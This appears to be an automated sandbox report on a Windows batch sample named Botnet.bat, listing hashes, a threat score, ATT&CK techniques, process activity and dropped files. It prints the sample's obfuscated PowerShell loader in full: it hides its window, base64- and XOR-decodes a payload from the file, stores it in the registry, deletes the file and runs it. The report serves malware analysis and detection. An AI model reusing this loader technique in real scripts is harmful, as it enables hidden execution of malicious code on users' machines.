653cfd27b7e988561a5b7af281fc8e0e60285e26a60467b4dcef70590327f728

Analysis

max time kernel
90s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
12/08/2024, 10:13

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General

Target

Botnet/Botnet.bat
Size

1.8MB
MD5

40b83f775740cabe66634fa2c365cc20
SHA1

9c4ad5d8e0376c743f96468093b8656ca2d84d4a
SHA256

038b8a10585b6b8e81454d978fe4aabb22b28ea93a17b7b14aeaef66d3efac2c
SHA512

5025429e59af940fca37ada795b925dccbb23bf7e35169bc95b20cc77be828a288621c8a0f184cf481eed1ee5bee473089c6d5b88728148e9f310cf69b7cd5a2
SSDEEP

24576:2WZ5oeL8NVRVM+VjRl+H4bZBkhWlacFz66eFcI6mBevOnFOZqd9NnVPpWkX+C0kZ:2H3Rzghw7+6UrgvOFUeUdqb0q

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1984	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3007475212-2160282277-2943627620-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1984	powershell.exe
1984	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1984	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3804	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3972 wrote to memory of 1984	3972	cmd.exe	82
PID 3972 wrote to memory of 1984	3972	cmd.exe	82

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Botnet\Botnet.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:JjxMVMBNud;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'zLanIlbmlS' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:3500

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

Filesize
10KB

MD5
c3e08121cabb9380e3d50cadde97d53a

SHA1
0e666954e83e97e3883e52092fe2be88a520e8f8

SHA256
76e1d3ab7320c4b863adb091b5b77205d81e13eafb539a18ebe3d8ea46b29433

SHA512
9a6ef7710781d2f3a1f873129b21990548c1b275720080d87fe4051b464b0aef4ad8625656c388a65163563c6fb2086c29c01ba5f518c5b9679e7227fcc7941f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0kz1rdpp.5sn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1984-2-0x00007FFE898F3000-0x00007FFE898F5000-memory.dmp

Filesize
8KB

Download
memory/1984-11-0x000001552F6B0000-0x000001552F6D2000-memory.dmp

Filesize
136KB

Download
memory/1984-12-0x00007FFE898F0000-0x00007FFE8A3B2000-memory.dmp

Filesize
10.8MB

Download
memory/1984-13-0x00007FFE898F0000-0x00007FFE8A3B2000-memory.dmp

Filesize
10.8MB

Download
memory/1984-14-0x00007FFE898F0000-0x00007FFE8A3B2000-memory.dmp

Filesize
10.8MB

Download
memory/1984-17-0x00007FFE898F0000-0x00007FFE8A3B2000-memory.dmp

Filesize
10.8MB

Download